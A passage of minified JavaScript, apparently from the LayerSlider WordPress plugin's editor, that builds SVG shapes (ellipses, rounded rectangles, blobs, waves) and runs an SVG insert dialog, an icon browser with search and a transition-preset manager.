e=this.props.width/2,t=this.props.height/2,i=this.props.height/2,a=this.props.width+2*this.props.strokeWidth,r=this.props.height+2*this.props.strokeWidth;this.paths=[`M0,${i}a${e},${t} 0 1,0 ${2*e},0a${e},${t} 0 1,0 -${2*e},0`],this.previewViewBox=`-${this.props.strokeWidth} -${this.props.strokeWidth} ${a} ${r}`,this.viewBoxToInsert=this.previewViewBox}rectangle(){var e=this.props.width||this.props.length,t=this.props.height||0,i=this.props.radius;this.props.lineWidth&&(this.props.strokeWidth=this.props.lineWidth/2);var a="M 0 "+i+" A "+i+" "+i+" 0 0 1 "+i+" 0 L "+(e-i)+" 0 A "+i+" "+i+" 0 0 1 "+e+" "+i+" L "+e+" "+(t-i)+" A "+i+" "+i+" 0 0 1 "+(e-i)+" "+t+" L "+i+" "+t+" A "+i+" "+i+" 0 0 1 0 "+(t-i)+" Z";this.paths=[a],
this.previewViewBox=`-${this.props.strokeWidth} -${this.props.strokeWidth} ${e+2*this.props.strokeWidth} ${t+2*this.props.strokeWidth}`,this.viewBoxToInsert=this.previewViewBox}blob(){var e=this.props.complexity,t=this.props.variation/100,i=this.props.layers,a=e<=5?e:5,r=1/a,s=this.props.angles||[],l=this.props.randoms||[];if(!this.props.angles){for(let t=1;t<=i;t++){let t=[];for(let i=1;i<=e;i++){let r=(i-1)/e*Math.PI*2+Math.random()/a;t.push(r)}s.push(t)}s.sort(((e,t)=>e-t)),this.props.angles=s}if(!this.props.randoms){for(let t=1;t<=i;t++){let t=[];for(let i=1;i<=e;i++){let e=Math.random();t.push(e)}l.push(t)}this.props.randoms=l}let o=[];for(let e=0;e<i;e++){let i=[];s[e].forEach(((a,r)=>{let s=r%2?l[e][r]*t:0,o=Math.cos(a)*(195-50*e)*(1-s)+200,n=Math.sin(a)*(195-50*e)*(1-s)+200;i.push({x:o,y:n})}));let a=this.getControlPoints(i,r);var n=`M ${i[0].x} ${i[0].y} `;for(let e=0;e<i.length-1;e++){n+=`C ${a[e][0].x} ${a[e][0].y} ${a[e+1][1].x} ${a[e+1][1].y} ${i[e+1].x} ${i[e+1].y} `}var d=i.length-1;n+=`C ${a[d][0].x} ${a[d][0].y} ${a[0][1].x} ${a[0][1].y} ${i[0].x} ${i[0].y} Z`,o.push(n)}if(1===i)var c=[1,0,0];else if(2===i)c=[.66,1,0];else c=[.5,.5,1];this.paths=o,this.props.fillOpacities=c,this.previewViewBox="0 0 400 400",this.viewBoxToInsert="0 0 400 400"}wave(){let e=this.props.complexity,t=this.props.variation/100,i=this.props.balance/100,a=this.props.layers,r=this.props.waveType,s=this.props.waveDirection,l=this.props.perfection,o=this.props.invert,n=this.props.xCoords||[],d=this.props.yRandoms||[],c=this.props.lineLevels||[],u=lsEditor.workspace.getSize(),p=u.height/u.width<1?u.height/u.width:u.width/u.height,y=u.width>=u.height;var h=400,S=1/(e<=5?e:5),m=y?(h*p-h*p*(1-i))/a:h*p*i/a,v=h/(e-1),L=1*m,g=h,f=h*p,b=g-f;switch(s){case"left":var w=y?`0 ${b/2} 400 ${f}`:`0 0 ${f} 400`;break;case"right":w=y?`0 ${-b/2} 400 ${f}`:`0 ${-b} ${f} 400`;break;case"up":w=y?`0 0 400 ${f}`:`${v*p} 0 ${f} 400`;break;default:w=y?`0 0 400 ${f}`:`${Math.round(e/2)*v-f/2} 0 ${f} 400`}if(!this.props.lineLevels)for(let e=1;e<=a;e++)c.push(f-e*m);if(!this.props.xCoords)for(let t=0;t<a;t++){let t=[];for(let i=0;i<e+4;i++){let e=i*v+(l?0:15*Math.random())-2*v;e=Math.round(100*e)/100,t.push(e)}n.push(t)}if(!this.props.yRandoms)for(let t=0;t<a;t++){let t=[];for(let i=0;i<e+4;i++){let e=l?.5:Math.random();t.push(e)}d.push(t)}let _=[];d.forEach(((e,i)=>{let a=[];e.forEach(((e,r)=>{if(o)if(r%2){let r=y?c[i]+(e*L*t+5):c[i]+(e*L*t+5)+b;a.push(r)}else{let r=y?c[i]+(e*L*(t/8)+5):c[i]+(e*L*(t/8)+5)+b;a.push(r)}else if(r%2==0){let r=y?c[i]+(e*L*t+5):c[i]+(e*L*t+5)+b;a.push(r)}else{let r=y?c[i]+(e*L*(t/8)+5):c[i]+(e*L*(t/8)+5)+b;a.push(r)}})),_.push(a)}));var x=[];switch(c.forEach(((e,t)=>{var i=[];n[t].forEach(((e,a)=>{let r=_[t][a];if("down"===s)var l=e,o=r;if("up"===s)l=y?g-e:f-e,o=y?f-r:g-r;if("left"===s)l=y?f-r:g-r,o=e;if("right"===s)l=y?b+r:-b+r,o=f-e;i.push({x:l,y:o})}));var a=this.getControlPoints(i,S);switch(r){case"pointy":var l=`M ${i[0].x}, ${i[0].y}`;for(let e=1;e<i.length;e++)l+=`L ${i[e].x} ${i[e].y}`;break;case"square":l=`M ${i[0].x}, ${i[0].y} L ${i[0].x} ${i[1].y}`;for(let e=1;e<i.length-1;e++)l+=`L ${i[e].x} ${i[e].y} L ${i[e].x} ${i[e+1].y}`;l+=`L ${i[i.length-1].x} ${i[i.length-1].y}`;break;default:for(l=`M ${i[0].x}, ${i[0].y} Q ${a[1][1].x}, ${a[1][1].y}, ${i[1].x}, ${i[1].y}`,t=1;t<=i.length-2;t++){l+=`C ${a[t][0].x} ${a[t][0].y} ${a[t+1][1].x} ${a[t+1][1].y} ${i[t+1].x} ${i[t+1].y}`}}switch(s){case"up":l+=`L ${i[i.length-1].x} 0 L ${f+g} 0 L ${i[0].x} ${i[0].y} Z`;break;case"left":l+=`L 0 ${f+g} L 0 0 L ${i[0].x} ${i[0].y} Z`;break;case"right":l+=`L ${f+g} ${-i[0].y} L ${f+g} ${f+g} L ${i[0].x} ${i[0].y} Z`;break;default:l+=`L ${f+g} ${f+g} L 0 ${f+g} L ${i[0].x} ${i[0].y} Z`}x.push(l)})),a){case 2:var j=[1,.66,0,0];break;case 3:j=[1,.5,.5,0];break;case 4:j=[1,.5,.33,.4];break;default:j=[1,0,0,0]}var k=c[a-1];if("down"===s)var I=y?`0 ${k} 400 ${f-k}`:`${Math.round(e/2)*v-f/2} ${g-(f-k)} ${f} ${f-k}`;if("up"===s)I=y?"0 0 400 "+(f-k):`${v*p} 0 ${f} ${f-k}`;if("left"===s)I=y?`0 ${b/2} ${f-k} ${f}`:`0 0 ${f-k} 400`;if("right"===s)I=y?`${b+k} ${-b/2} ${f-k} ${f}`:`${k} ${-b} ${f-k} 400`;this.props.xCoords=n,this.props.yRandoms=d,this.props.lineLevels=c,this.props.fillOpacities=j,this.paths=x,this.previewViewBox=w,this.viewBoxToInsert=I;var Q=I.split(" ");this.insertedAspectRatio=Q[2]/Q[3]}getControlPoints(e,t){let i=[];for(var a=0;a<=e.length-1;a++){if(0===a)var r=e[e.length-1].x-e[a+1].x,s=e[e.length-1].y-e[a+1].y;else if(a===e.length-1)r=e[a-1].x-e[0].x,s=e[a-1].y-e[0].y;else r=e[a-1].x-e[a+1].x,s=e[a-1].y-e[a+1].y;var l=e[a].x-r*t,o=e[a].y-s*t,n={x:Math.round(100*l)/100,y:Math.round(100*o)/100},d=e[a].x+r*t,c=e[a].y+s*t,u={x:Math.round(100*d)/100,y:Math.round(100*c)/100};i[a]=[],i[a].push(n),i[a].push(u)}return i}}var LS_SVGChooser={init:function(){jQuery(document).on("click","#lse-object-modal-window lse-button",(function(e){e.preventDefault(),LS_SVGChooser.insert()}))},open:function(e){e=e||"",kmw.modal.open({content:jQuery("#lse-object-modal-window"),maxWidth:1024,maxHeight:780,sidebar:{left:{width:300,customHeaderHeight:!0,content:jQuery("#lse-object-modal-sidebar")}},onBeforeOpen:function(){jQuery("#lse-object-modal-window").data("replace",!!e),jQuery("#lse-object-insert-button").html(e?LS_l10n.SBModifyObjectTitle:LS_l10n.SBInsertObjectTitle),jQuery("#lse-object-insert-textarea").val(e||"").focus(),e?(jQuery("#lse-object-insert-textarea").focus(),jQuery("#lse-object-modal-sidebar .lse-insert-svg-menu-item").click()):jQuery("#lse-object-modal-sidebar .lse-welcome-svg-menu-item").click()}})},insert:function(){var e=jQuery("#lse-object-modal-window"),t=jQuery("textarea",e).val(),i=LS_Utils.normalizeSVG(t);if(layerData={},!i)return!1;layerData.styles={width:i.width,height:i.height},layerData.html=i.html,kmw.modal.close(),setTimeout((function(){e.data("replace")&&LS_activeLayerDataSet[0]?(LS_UndoManager.add("layer.general","MODIFY_OBJECT",{itemIndex:LS_activeLayerIndexSet[0],undo:{html:LS_activeLayerDataSet[0].html},redo:{html:layerData.html}}),LS_activeLayerDataSet[0].html=layerData.html,LayerSlider.generatePreviewItem(LS_activeLayerIndexSet[0]),LS_DataSource.buildLayer()):LayerSlider.addFormattedLayer("svg",layerData)}),500)}},LS_editorUI={openKeyboardShortcuts:function(){kmw.modal.open({content:"#tmpl-keyboard-shortcuts",minWidth:400,maxWidth:1280})},openEmbedModal:function(){kmw.modal.open({content:jQuery("#tmpl-embed-project"),minWidth:400,maxWidth:980,sidebar:{left:{width:300,content:jQuery("#tmpl-embed-project-sidebar")}}}).find("input.lse-shortcode").val('[layerslider id="'+(lsSliderData.properties.slug||LS_sliderID)+'"]')}},prepTemplateForRelease=function(){var e=window.lsSliderData,t=e.properties;t.backgroundimage&&(t.backgroundimage=LS_Utils.parse_url(t.backgroundimage,"PHP_URL_PATH")),t.preview&&(t.preview=LS_Utils.parse_url(t.preview,"PHP_URL_PATH")),e.meta&&e.meta.preview&&(e.meta.preview=LS_Utils.parse_url(e.meta.preview,"PHP_URL_PATH")),t.pt=!0,jQuery.each(window.lsSliderData.layers,(function(e,t){var i=t.properties;t.history=[],t.meta&&t.meta.undoStackIndex&&(t.meta.undoStackIndex=-1),i.background&&(i.background=LS_Utils.parse_url(i.background,"PHP_URL_PATH")),i.backgroundThumb&&(i.backgroundThumb=LS_Utils.parse_url(i.backgroundThumb,"PHP_URL_PATH")),i.thumbnail&&(i.thumbnail=LS_Utils.parse_url(i.thumbnail,"PHP_URL_PATH")),i.thumbnailThumb&&(i.thumbnailThumb=LS_Utils.parse_url(i.thumbnailThumb,"PHP_URL_PATH")),jQuery.each(t.sublayers,(function(e,t){t.image&&(t.image=LS_Utils.parse_url(t.image,"PHP_URL_PATH")),t.imageThumb&&(t.imageThumb=LS_Utils.parse_url(t.imageThumb,"PHP_URL_PATH")),t.poster&&(t.poster=LS_Utils.parse_url(t.poster,"PHP_URL_PATH")),t.posterThumb&&(t.posterThumb=LS_Utils.parse_url(t.posterThumb,"PHP_URL_PATH")),t.layerBackground&&(t.layerBackground=LS_Utils.parse_url(t.layerBackground,"PHP_URL_PATH")),t.layerBackgroundThumb&&(t.layerBackgroundThumb=LS_Utils.parse_url(t.layerBackgroundThumb,"PHP_URL_PATH"))}))})),LS_UndoManager.update(),lsSetEditorDirtyState(!0),lsCommon.smartAlert.open("<div>All Done. Performed tasks:</div> <ul><li>Converted URLs to relative format.</li> <li>Emptied slides history.</li></ul> <div>Manual save required.</div>")};class LS_IconLoader{constructor(e){this.iconsCollection=e.icons,this.type=e.type,this.iconsKeys,this.iconsSourceArr,this.ICON_SIZE=70,this.MULTIPLIER=2,this.LOADING_AMOUNT=50,this.TIMEOUT_MS=300,this.$iconsDisplay=jQuery("#lse-icons-panel-display"),this.$searchDisplay=jQuery("#lse-icons-panel-search-display"),this.$iconsContainer=jQuery("#lse-icons-panel-ctr"),this.$searchContainer=jQuery("#lse-icons-panel-search-ctr"),this.$searchInput=jQuery("#lse-icons-search-input"),this.idx=0,this.iconsArrs=[this.iconsCollection,this.foundIcons],this.iconNames=[this.iconsCollection,[]],this.$displays=[this.$iconsDisplay,this.$searchDisplay],this.$containers=[this.$iconsContainer,this.$searchContainer],this.prevScrolledIcons=[0,0],this.loadedIcons=[0,0],this.scrolledIcons=[0,0],this.minLoadIdx=[0,0],this.maxLoadIdx=[0,0],this.foundIcons=[],this.attachEvents(),this.calcValues(),this.loadIcons(),this.resizeTimeout,this.searchTimeout}attachEvents(){this.$iconsContainer.on("scroll.icons",(()=>{this.scrollEvent()})),this.$searchContainer.on("scroll.search",(()=>{this.scrollEvent()})),this.$searchInput.on("input.typein",(()=>{clearTimeout(this.searchTimeout),this.searchTimeout=setTimeout((()=>{let e=this.$searchInput.val();this.searchIcons(e)}),this.TIMEOUT_MS)})),jQuery(window).on("resize.iconspanel",(()=>{clearTimeout(this.resizeTimeout),this.resizeTimeout=setTimeout((()=>{let e=this.maxLoadIdx[this.idx];this.calcValues(),this.loadIcons(),this.loadMoreAfterEvent(e)}),this.TIMEOUT_MS)}))}calcValues(){let e=this.idx,t=this.iconsArrs[e].length,i=this.$displays[e],a=this.getTotalHeight(t);i.height(a),this.minLoadIdx[e]=this.getMinLoadIdx(),this.maxLoadIdx[e]=this.minLoadIdx[e]*this.MULTIPLIER}loadIcons(){let e=this.idx,t=this.iconsArrs[e];if(!(this.loadedIcons[e]>=t.length))for(;this.maxLoadIdx[e]>this.loadedIcons[e];){let i=this.iconsByCollection(t,this.loadedIcons[e]);this.$displays[e].append(i),this.loadedIcons[e]+=this.LOADING_AMOUNT}}searchIcons(e){if(!e||1===e.length)return void this.browseMode();this.searchMode(),this.resetSearch();let t=e.toLowerCase();this.foundIcons=this.searchByStr(t),this.iconsArrs[1]=this.foundIcons,this.calcValues(),this.loadIcons()}scrollEvent(){let e=this.idx;this.scrolledIcons[e]=this.getScrolledIcons(this.$containers[e]),this.scrolledIcons[e]<this.minLoadIdx[e]||(this.minLoadIdx[e]+=this.LOADING_AMOUNT,this.maxLoadIdx[e]+=this.scrolledIcons[e]-this.prevScrolledIcons[e],this.loadIcons(),this.prevScrolledIcons[e]=this.scrolledIcons[e])}changeIconSet(e){this.$searchInput.val(""),this.browseMode(),e.icons!==this.iconsCollection&&(this.iconsCollection=e.icons,this.type=e.type,this.idx=0,this.foundIcons=[],this.$iconsDisplay.html(""),this.$searchDisplay.html(""),this.$iconsContainer.scrollTop(0),this.$searchContainer.scrollTop(0),this.iconsArrs=[this.iconsCollection,this.foundIcons],this.iconNames=[this.iconsCollection,[]],this.initializeSVGs(),this.prevScrolledIcons=[0,0],this.loadedIcons=[0,0],this.scrolledIcons=[0,0],this.minLoadIdx=[0,0],this.maxLoadIdx=[0,0],this.calcValues(),this.loadIcons())}initializeSVGs(){"font"!==this.type&&(this.iconsSourceArr=Object.values(this.iconsCollection),this.iconsKeys=Object.keys(this.iconsCollection),this.iconsArrs=[this.iconsSourceArr,this.foundIcons],this.iconNames=[this.iconsKeys,[]])}getDisplayWidth(){return this.$displays[this.idx].width()}getRowSize(){return Math.floor(this.getDisplayWidth()/this.ICON_SIZE)}getTotalHeight(e){return this.ICON_SIZE*Math.ceil(e/this.getRowSize())}getContainerHeight(){return this.$containers[this.idx].height()}getContainerRows(){return Math.ceil(this.getContainerHeight()/this.ICON_SIZE)}getMinLoadIdx(){return this.getContainerRows()*Math.floor(this.getRowSize())}getScrolledIcons(e){let t=jQuery(e).scrollTop();return Math.ceil(t/this.ICON_SIZE)*this.getRowSize()}browseMode(){this.$iconsContainer.removeClass("lse-icons-hide"),this.$searchContainer.addClass("lse-icons-hide"),this.idx=0}searchMode(){this.$iconsContainer.addClass("lse-icons-hide"),this.$searchContainer.removeClass("lse-icons-hide"),this.idx=1}createFontIcon(e){return'<lse-b class="fa fa-'+e+'" data-help="'+e+'" data-tt></lse-b><lse-tt>'+e+"</lse-tt>"}iconsByCollection(e=this.iconsCollection,t=0){let i,a,r="";for(let s=t;s<t+this.LOADING_AMOUNT;s++)e[s]&&("font"===this.type?i=this.createFontIcon(e[s]):(a=this.normalizeIconName(this.getIconNames()[s]),i=`<lse-b data-tt><svg data-name="${a}" viewBox="0 0 ${e[s].width} ${e[s].height}">${e[s].data}</svg></lse-b><lse-tt>${a}</lse-tt>`),r+=i);return r}resetSearch(){this.$searchDisplay.html(""),this.$searchContainer.scrollTop(0),this.prevScrolledIcons[1]=0,this.loadedIcons[1]=0,this.scrolledIcons[1]=0,this.minLoadIdx[1]=0,this.maxLoadIdx[1]=0,this.iconNames[1]=[]}searchByStr(e){if("font"===this.type){let t=this.iconsCollection.filter((t=>t.includes(e)));return this.iconNames[1]=t,t}let t=this.iconsKeys.filter((t=>t.includes(e)));this.iconNames[1]=t;let i=[];return t.forEach((e=>{i.push(this.iconsCollection[e])})),i}loadMoreAfterEvent(e){let t=this.idx;this.maxLoadIdx[t]=this.maxLoadIdx[t]>=e?this.maxLoadIdx[t]:e,this.maxLoadIdx[t]+=this.getMinLoadIdx()*this.MULTIPLIER,this.loadIcons()}getIconNames(){let e=this.idx;return this.iconNames[e]}normalizeIconName(e){return e.replace(/(-solid|-brands|-regular|-light|-duotone)/gi,"")}}class TransitionPresets{constructor(){this.$sidebar=jQuery(".lse-layer-transition-panel"),this.option="lse-transition-presets-option",this.add="lse-transition-presets-add",this.createBtnStr='[ data-type="presets-create" ]',this.applyHighlightTimeout=0,this.events()}events(){this.$sidebar.on("click",`.${this.option}`,(e=>{let t=jQuery(e.currentTarget);if(t.hasClass(`${this.option}-selected`))return t.removeClass(`${this.option}-selected`),t.find(`.${this.option}-icons`).removeClass(`${this.option}-visible`),void lsEditor.preview.exit("layer");jQuery(`.${this.option}-selected`).removeClass(`${this.option}-selected`),t.addClass(`${this.option}-selected`),jQuery(`.${this.option}-visible`).removeClass(`${this.option}-visible`),t.find(`.${this.option}-icons`).addClass(`${this.option}-visible`);let i=JSON.parse(t.attr("data-preset-data")),a=t.closest("[data-storage]").data("storage"),r=JSON.parse(JSON.stringify(LS_activeLayerDataSet));r.forEach((e=>{e.skip=!1})),this.pasteInputData(i,r,{event:e}),lsEditor.preview.enter("layer",{indexSet:LS_activeLayerIndexSet,dataSet:r,willRestart:!0,subState:"preset",transitionType:a})})),this.$sidebar.on("click",`.${this.option}-delete`,(e=>{e.stopPropagation(),lsCommon.smartAlert.confirm(LS_l10n.SBRemoveTransitionPresetConfirmation,(()=>{jQuery(e.target).closest(`.${this.option}`).remove(),lsEditor.preview.exit("layer"),this.sendCustomOptionsData()}))})),this.$sidebar.on("click",`.${this.option}-apply`,(e=>{e.stopPropagation();let t=JSON.parse(jQuery(e.currentTarget).closest(`.${this.option}`).attr("data-preset-data")),i=this.lookForTransitionSwitches(t);if(i=this.reduceTransitionSwitches(i),i.length){let a=i.map((e=>e.name));a=a.join(" & "),lsCommon.smartAlert.open({title:LS_l10n.SBApplyTransitionPresetTitle.replace("%s",a),text:LS_l10n.SBApplyTransitionPresetText.replace("%s",a),type:"triple",width:700,buttons:{ok:{label:LS_l10n.SBApplyTransitionPresetOK},other:{label:LS_l10n.SBApplyTransitionPresetBoth}},onClose:i=>{"ok"===i?this.applyPreset(e,t,!0):"other"===i&&this.applyPreset(e,t,!1)}})}else this.applyPreset(e,t,!1)})),this.$sidebar.on("click",`.${this.option}-save`,(e=>{e.stopPropagation();let t=this.copyInputData(e),i=jQuery(e.target).closest(`.${this.option}`);i.attr("data-preset-data",JSON.stringify(t)),this.sendCustomOptionsData(),i.addClass("lse-transition-presets-saved");for(let e in t)jQuery(`input[data-prop="${e}"]`).addClass("lse-transition-presets-highlight");i.click().click(),lsEditor.notify.show({icon:"save",text:LS_l10n.notifyPresetSaved,timeout:2e3}),setTimeout((()=>{jQuery(".lse-transition-presets-highlight").removeClass("lse-transition-presets-highlight"),i.removeClass("lse-transition-presets-saved")}),1e3)})),this.$sidebar.on("keypress",`.${this.add}`,(e=>{13===e.which&&e.preventDefault()})),this.$sidebar.on("click",this.createBtnStr,(e=>{let t=this.get$ActiveCnt(e).find("input").val(),i=jQuery(`.${this.option}-clone`).clone().removeClass(`${this.option}-clone`);i.find(`.${this.option}-text`).text(t),i.insertAfter(this.get$ActiveCnt(e).find(`.${this.option}`).last());let a=this.copyInputData(e);i.attr("data-preset-data",JSON.stringify(a)),jQuery(`.${this.add}`).val(""),this.get$ActiveCnt(e).find(this.createBtnStr).addClass("lse-btn-disabled"),this.sendCustomOptionsData()})),this.$sidebar.on("keyup",this.addStr,(e=>{let t=this.get$ActiveCnt(e).find(this.createBtnStr);13===e.which?t.trigger("click"):""===jQuery(e.target).val()?t.addClass("lse-btn-disabled"):t.removeClass("lse-btn-disabled")}))}get$ActiveCnt(e){return jQuery(e.target).closest(".lse-transition-presets-cnt")}get$ActiveSidebar(e){return jQuery(e.target).closest("lse-sidebar-section")}lookForTransitionSwitches(e){let t=[];return["transitionin","texttransitionin","loop","texttransitionout","transitionout","hover","parallax","scroll"].forEach((i=>{if(i in e.transition&&!1===e.transition[i]){let e=jQuery('input[name="'+i+'"].lse-layer-transition-checkbox'),a=e.closest("[data-section-name]").attr("data-section-name");t.push({key:i,element:e,name:a})}})),t}reduceTransitionSwitches(e){return e=e.filter((e=>{let t=!1;return LS_activeLayerDataSet.forEach((i=>{e.key in i.transition&&i.transition[e.key]&&"false"!==i.transition[e.key]&&(t=!0)})),t}))}applyPreset(e,t,i){let a=jQuery(e.target).closest(`.${this.option}`),r=this.pasteInputData(t,LS_activeLayerDataSet,{event:e,applyTransition:!0,disableTransitions:i});jQuery(".lse-transition-presets-highlight").removeClass("lse-transition-presets-highlight"),a.addClass("lse-transition-presets-applied"),r.$inputs.addClass("lse-transition-presets-highlight"),clearTimeout(this.applyHighlightTimeout),this.applyHighlightTimeout=setTimeout((()=>{r.$inputs.removeClass("lse-transition-presets-highlight"),a.removeClass("lse-transition-presets-applied")}),4e3)}sendCustomOptionsData(){let e={};jQuery(".lse-transition-presets-box").each(((t,i)=>{let a=jQuery(i).closest("lse-sidebar-section").data("storage");e[a]=[],jQuery(i).find(`.${this.option}:not([data-protected='1'], .${this.option}-clone)`).each(((t,i)=>{let r=jQuery(i);e[a].push({name:r.find(`.${this.option}-text`).text(),data:r.attr("data-preset-data")})}))}));for(let t in e)0===e[t].length&&delete e[t];jQuery.post(ajaxurl,{action:"ls_save_transition_presets",data:JSON.stringify(e)})}copyInputData(e){let t={styles:{},transition:{}};return this.get$ActiveSidebar(e).find(':input[data-prop]:not(.lse-layer-transition-checkbox, [data-prop="static"], [data-prop="keyframe"], [data-prop="skipViewport"])').each(((e,i)=>{let a=jQuery(i),r=a.data("default"),s=a.is(":checkbox")?a.prop("checked"):a.val(),l=a.attr("name");""!==s&&s!==r&&"transparent"!==s&&""!==l&&(t.transition[l]=s)})),t}pasteInputData(e,t,i){i=jQuery.extend(!0,{event:window.event,applyTransition:!1,disableTransitions:!0},i);let a=[],r={properties:[],$inputs:jQuery([])},s=jQuery([]),l=this.get$ActiveSidebar(i.event),o=l.find(".lse-layer-transition-checkbox"),n=jQuery("lse-layer-settings :input[data-prop]").not('[data-prop=""], [data-prop="static"], [data-prop="keyframe"], [data-prop="skipViewport"]');return e.transition[o.attr("name")]=!0,i.applyTransition&&l.find(".lse-layer-transition-checkbox").prop("checked",!0).prop("indeterminate",!1),n.each(((o,n)=>{t.forEach(((t,o)=>{let d,c,u,p,y,h=LS_activeLayerIndexSet[o],S=jQuery(n),m=S.data("prop"),v=S.hasClass("lse-layer-transition-checkbox"),L=S.data("default"),g=S.is(":checkbox")?S.prop("checked"):S.val();a[o]||(a[o]={itemIndex:h,undo:{styles:{},transition:{}},redo:{styles:{},transition:{}}});let f=a[o].undo,b=a[o].redo;if(S.hasClass("lse-transition-prop")?(d="transition",c=e.transition||{},u=t.transition||{}):S.hasClass("lse-style-prop")?(d="styles",c=e.styles||{},u=t.styles||{}):(c=e,u=t),(c.hasOwnProperty(m)||S.closest(l).length)&&(p=u[m],y=c.hasOwnProperty(m)?c[m]:L,v&&!1===y?i.disableTransitions&&(u[m]=y):u[m]=y,i.applyTransition)){if(S.is(":checkbox"))v?i.disableTransitions&&!1===y&&(s=s.add(S)):S.prop("checked",Boolean(y)).data("value",Boolean(y));else if(S.is("input,textarea")){let e=y;S.is('input[type="range"],input[type="hidden"]')||S.closest(".lse-color-input").length||(e=y==L?"":y),S.val(e).data("value",y),S.closest(".lse-color-input").length&&LS_GUI.updateColorPicker(S)}else S.is("select")&&(S.children().prop("selected",!1),S.children('[value="'+y+'"]').prop("selected",!0),S.data("value",y));p!=y&&(d?(f[d]||(f[d]={}),b[d]||(b[d]={}),f[d][m]=p,b[d][m]=y):(f[m]=p,b[m]=y)),(p!=y||g!=y&&y!=L)&&(r.properties.push(m),r.$inputs=r.$inputs.add(n))}}))})),s.each((function(){LayerSlider.reorderTransitionProperties(jQuery(this).closest("lse-sidebar-section").index(),!1)})),i.applyTransition&&LS_UndoManager.add("layer.general","LAYER_APPLY_TRANSITION",a),r.properties=[...new Set(r.properties)],r}}